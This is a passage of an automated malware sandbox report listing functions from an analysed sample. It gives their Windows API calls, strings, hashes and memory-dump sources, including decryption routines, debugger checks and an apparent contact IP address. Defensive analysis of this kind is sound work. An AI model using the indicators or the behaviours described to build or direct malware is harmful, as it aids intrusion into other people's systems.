Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: e7d307bd9b08359f9d4fa667b823f6c82abf28f5e9ce0c80c34beec9c79a4aa9
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: e7d307bd9b08359f9d4fa667b823f6c82abf28f5e9ce0c80c34beec9c79a4aa9
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401E20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 004021A3

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction ID: 09126ff878240097ddd60f0c8300d9112e53121ff3c2cf1df5c9ef382bee38eb
Opcode Fuzzy Hash: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction Fuzzy Hash: 1A518E71E002099FDF14CFA9C895BEEB7B9EB08304F10812EE915BB6C1C779A944CB94

Function 009B38B9 Relevance: 4.6, APIs: 3, Instructions: 129
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009B395A
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009B3981
GetNativeSystemInfo.KERNEL32(?), ref: 009B39D8

Memory Dump Source

Source File: 00000007.00000002.3256554166.00000000009AE000.00000040.00000001.01000000.0000000A.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9ae000_4611cc433b.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: f4ed50f3875da980090935241bf7fab7a8fb4e6031d448179640e703dc787be6
Instruction ID: c25ee100c044448a5e5e7fa5e117c2f4aec92a8381f9544eee29b95d1f26e10c
Opcode Fuzzy Hash: f4ed50f3875da980090935241bf7fab7a8fb4e6031d448179640e703dc787be6
Instruction Fuzzy Hash: 9D5168B140860EDFEB01EF54CA496EEBBE8EF05310F12482ED9C286901D7795DA4DF5A

Function 009B3913 Relevance: 4.6, APIs: 3, Instructions: 79
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009B395A
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009B3981
GetNativeSystemInfo.KERNEL32(?), ref: 009B39D8

Memory Dump Source

Source File: 00000007.00000002.3256554166.00000000009AE000.00000040.00000001.01000000.0000000A.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9ae000_4611cc433b.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: dcefab187a5923bfc71bbce7bd26b48678610858742ea03ef5c7cb28dfb87c02
Instruction ID: 49f1cbb6d66d9025801a13030ee0d71d7d06565eb5a2e948d14c09b57b7352f6
Opcode Fuzzy Hash: dcefab187a5923bfc71bbce7bd26b48678610858742ea03ef5c7cb28dfb87c02
Instruction Fuzzy Hash: C73168B140864EDFEF11DF60C9486EE3BA8EF05310F11486AE8C186912D7BA5DA4DF5A

Function 009B38E1 Relevance: 3.1, APIs: 2, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009B3981
GetNativeSystemInfo.KERNEL32(?), ref: 009B39D8

Memory Dump Source

Source File: 00000007.00000002.3256554166.00000000009AE000.00000040.00000001.01000000.0000000A.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9ae000_4611cc433b.jbxd

Similarity

API ID: InfoNativeOpenSystem
String ID:
API String ID: 2808845718-0
Opcode ID: c8390ee45e20b4f29856fa4d0e0105b8eec515d58ec732450a9ff55faf6f5793
Instruction ID: d74d0319f6766d7152d7dcdbcaa5d180992bd8ab1f6b229613e455681026d226
Opcode Fuzzy Hash: c8390ee45e20b4f29856fa4d0e0105b8eec515d58ec732450a9ff55faf6f5793
Instruction Fuzzy Hash: 65217AB110860ADFEB11EF60C9496EE7BE9FF01320F16482DD8C186901D7B99CA4DF0A

Function 04B70E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B70223,?,?), ref: 04B70E19
SetErrorMode.KERNEL32(00000000,?,?,04B70223,?,?), ref: 04B70E1E

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 711f288b2d38af2a135f3291421a28b3f4cc3957010ce7e94c83eb38e4e7d4f0
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: B9D0123154512877D7003A94DC09BCD7B1CDF09B62F008451FB0DD9080C770964046E5

Function 00413C79 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,80.82.65.70,?,?,00403597,?,00402809,00402805), ref: 00413CAB

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction ID: d9d624181c4160d02ab49c773ca7be82655902724fa9057d6622eb650e71da69
Opcode Fuzzy Hash: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction Fuzzy Hash: BAE0E53350013057D6213F668C007DB7A4C9F413A2F180167EC18B62D0FA6CCE8141ED

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e19d539462f031469c69ea45d1cad77acc71583726438384a09bba2e4039781a
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: e19d539462f031469c69ea45d1cad77acc71583726438384a09bba2e4039781a
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 00AB2C59 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AB2C78

Memory Dump Source

Source File: 00000007.00000002.3256554166.0000000000AB2000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00AB2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ab2000_4611cc433b.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3daa0c303fca0f543af3edd033a028d9fd14009ee2efde9103e30b7348563765
Instruction ID: b0fa5f4c71ce50608f9f70a3e140c0e088b4c686a17ea3d9eb8658573d3b095e
Opcode Fuzzy Hash: 3daa0c303fca0f543af3edd033a028d9fd14009ee2efde9103e30b7348563765
Instruction Fuzzy Hash: 28E07535A0115E9FDB01DF54D485ACF7B65EF59340F7086419D4043F69C676AD21CF88

Function 10005BF4 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 10005C07

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction ID: c87f8b0a48b83a8a7248450826a19003e4aa18d6d81e39a7cffe4d34c565a0dd
Opcode Fuzzy Hash: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction Fuzzy Hash: D9C04C75500208BBDB05DF45DD06A4E7BA9EB812A4F204054F41567291DAB5EF449691

Function 00FFD2FD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00FFD34E

Memory Dump Source

Source File: 00000007.00000002.3265730716.0000000000FFC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FFC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ffc000_4611cc433b.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 5c133e8e87a3af4dfc221ab1150710712b79570420e01fbf8c42dcdbba4d11bc
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 6D113C79A00208EFDB01DF98C985E98BBF5AF08750F058094FA489B362D375EA50EF80

Function 00402E30 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E3F

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction ID: eb79ea19b3e1abf3f5b24c483eecae43203cd8e5c5511bfeef65b24117358006
Opcode Fuzzy Hash: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction Fuzzy Hash: 17C0483200020DFBCF025FD1EC048DA7F2AFB09260B00C020FA1844032C773A931ABA5

Function 00402E50 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402E5C

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction ID: a3fa6bbe5c1a250ebea8c2fc35f655263c95a0ace9f7750fc45cf9fcc5ecde2d
Opcode Fuzzy Hash: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction Fuzzy Hash: 5CB0923204020CFBCF025F81EC048D93F6AFB0C261B408020FA1C44031C7339675AB84

Non-executed Functions

Function 04B73817 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042C014), ref: 04B73897
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B738BB
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B73925
GetLastError.KERNEL32 ref: 04B7392F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B73957
GetLastError.KERNEL32 ref: 04B73961
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B73971
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B73A33
CryptDestroyKey.ADVAPI32(?), ref: 04B73AA5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B73873

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction ID: c34c67336fb5895636d6b2a71dc103e5c7fbe5ffecc481597f60fb1149bab4d3
Opcode Fuzzy Hash: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction Fuzzy Hash: DA818C71A00218AFEF209F24CC45B9EBBB5EF49300F1081E9E95DA7291DB31AE85DF51

Function 0040CDA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,(@), ref: 0040CE9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,(@), ref: 0040CEA5
UnhandledExceptionFilter.KERNEL32(004024E3,?,?,?,?,?,(@), ref: 0040CEB2

Strings

(@, xrefs: 0040CDBC

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: (@
API String ID: 3906539128-3675327911
Opcode ID: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction ID: 588a31918c4d7a6a9ba75f52031696ab4f5dbddd8307c033202189b188a5c7dc
Opcode Fuzzy Hash: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction Fuzzy Hash: 5E31C475911228ABCB21DF65D8897CDBBB4AF08310F5081EAE40CA7291E7749F858F48

Function 04D1FD00 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: ef75e5bcafa573f2347dab8e8a38a2d76eb75183e3a390af3cc4ba0f52624deb
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 4A024C71E002299BDF15CFA8D9806AEFBF1FF48318F14826AD919EB350D731A941CB90

Function 04B80B67 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 19eeaa67346ef0828a1f9b48d4d8a05b71639bbdc240dfd833391387010fb867
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 1C023B71E012199FDB14EFA8C8806AEFBB1FF48354F2586ADD919AB340D731A945CB90

Function 00410900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 1698085c936ca5c6c6a57ee88efec3ce2b030c017204745a192f91a5fd5d0df0
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 8A025C71E002199BDF14CFA9D9806EEBBF1FF48314F24826AE919E7341D775A9818B84

Function 04B7A7B1 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 04B7A7BD
IsDebuggerPresent.KERNEL32 ref: 04B7A889
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B7A8A9
UnhandledExceptionFilter.KERNEL32(?), ref: 04B7A8B3

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 640170c32c6cdd384337f16a7dbadf669d0a886f947c22fa11fffeb91be45e62
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 7A31F875D05219DBDB50DFA4D9897CCBBB8BF08304F1041EAE409AB290EB75AA85CF45

Function 0040A54A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 0040A556
IsDebuggerPresent.KERNEL32 ref: 0040A622
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A642
UnhandledExceptionFilter.KERNEL32(?), ref: 0040A64C

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 8b01d550a0a2fff4667565f177a0bd7aa15c2cc699040a0714bae659939ad5a8
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 40311A75D0531CDBDB10DFA5D9897CDBBB8BF08304F1080AAE409A7290EB759A858F49

Function 10002FDA Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 10002FE6
IsDebuggerPresent.KERNEL32 ref: 100030B2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 100030D2
UnhandledExceptionFilter.KERNEL32(?), ref: 100030DC

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fd06b871e9cf82683454e3fbfac267bd1ef2951c7b429272aa340f07bdb4f9c2
Instruction ID: 336d1356b37294b5c1fe5cc3e7a5e53ac0bdfc53d52c9a9f50db52ddd632742b
Opcode Fuzzy Hash: fd06b871e9cf82683454e3fbfac267bd1ef2951c7b429272aa340f07bdb4f9c2
Instruction Fuzzy Hash: B6312B75D45269DBEB21DF64C989BCDBBF8EF08340F1081AAE40DA7250EB719A85CF04

Function 04D122C0 Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

p.@P.@0.@, xrefs: 04D124C5
p.@, xrefs: 04D124A9
0.@, xrefs: 04D12498
P.@, xrefs: 04D124A2

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID:
String ID: 0.@$P.@$p.@$p.@P.@0.@
API String ID: 0-3587633984
Opcode ID: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction ID: ae322d84844720afdb067d78e95b0a682a5fa32f7470049877e6fd77c53bf3cf
Opcode Fuzzy Hash: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction Fuzzy Hash: 95F1AF71B00205ABDB14DF68EC81BA9B7B1FF48304F1441A9ED09EB691D772F851CBA4

Function 04B7D00A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,04B72A70), ref: 04B7D102
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,04B72A70), ref: 04B7D10C
UnhandledExceptionFilter.KERNEL32(04B7274A,?,?,?,?,?,04B72A70), ref: 04B7D119

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction ID: a46eae52192a667713e29dcdeb5464852046d800659048dcc59965de40f2067a
Opcode Fuzzy Hash: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction Fuzzy Hash: 1E31A374901228ABDB61DF64DC887CDBBB8FF18354F5041EAE41CA7250E770AB858F45

Function 100056A0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 10005798
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 100057A2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 100057AF

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ce89a4acebe00847e0bf7db2b2a5c1550e22667e6ae7b5dc377587a900902601
Instruction ID: 5682311db8f2ea5b7fb0b10b77ab1de1cec722dcfd082a676ba882e0b3775376
Opcode Fuzzy Hash: ce89a4acebe00847e0bf7db2b2a5c1550e22667e6ae7b5dc377587a900902601
Instruction Fuzzy Hash: 4B31D3749012299BDB62DF24DD89B8DBBB8EF08750F5081EAE41CA7250EB709F858F44

Function 04B8794E Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f1184e7a09d65eff5b8ffcd4e3bf1005a55978abbf3cbcf98c0185f47ed9858
Instruction ID: d7dee9b9b7fa49221cb9c4b2d9481346d03ce62e30d6f4479f9b555818d059f9
Opcode Fuzzy Hash: 1f1184e7a09d65eff5b8ffcd4e3bf1005a55978abbf3cbcf98c0185f47ed9858
Instruction Fuzzy Hash: 964175B5805219AEDB20EF69CC88AEABBB9EF45304F2441DDE45993210DA35AE85CF50

Function 004176E7 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f1184e7a09d65eff5b8ffcd4e3bf1005a55978abbf3cbcf98c0185f47ed9858
Instruction ID: d43d4b044ad22829e063f8950bf7820e76fddff19cb0b58812960860f3569e8b
Opcode Fuzzy Hash: 1f1184e7a09d65eff5b8ffcd4e3bf1005a55978abbf3cbcf98c0185f47ed9858
Instruction Fuzzy Hash: 7F41B4B5D04219AEDB20DF69CC89AEABBB9AF44304F1442DEE41DD3241DA389E85CF14

Function 10007EA9 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30f242089dd6e22cc4e11ed5014ed8825358ef4a723b8267613fb38b8f4a68e2
Instruction ID: 335cc09878d9dc9b483997cee4c12024a5fb43c2c5be13206e8e105b8fe94413
Opcode Fuzzy Hash: 30f242089dd6e22cc4e11ed5014ed8825358ef4a723b8267613fb38b8f4a68e2
Instruction Fuzzy Hash: 1B41B475C0425DAFEB10DF69CC89AEABBB9FF45240F1442D9E44DD3205DA359E848F10

Function 04B7A947 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040A6EC,04B7A2CB), ref: 04B7A94C

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
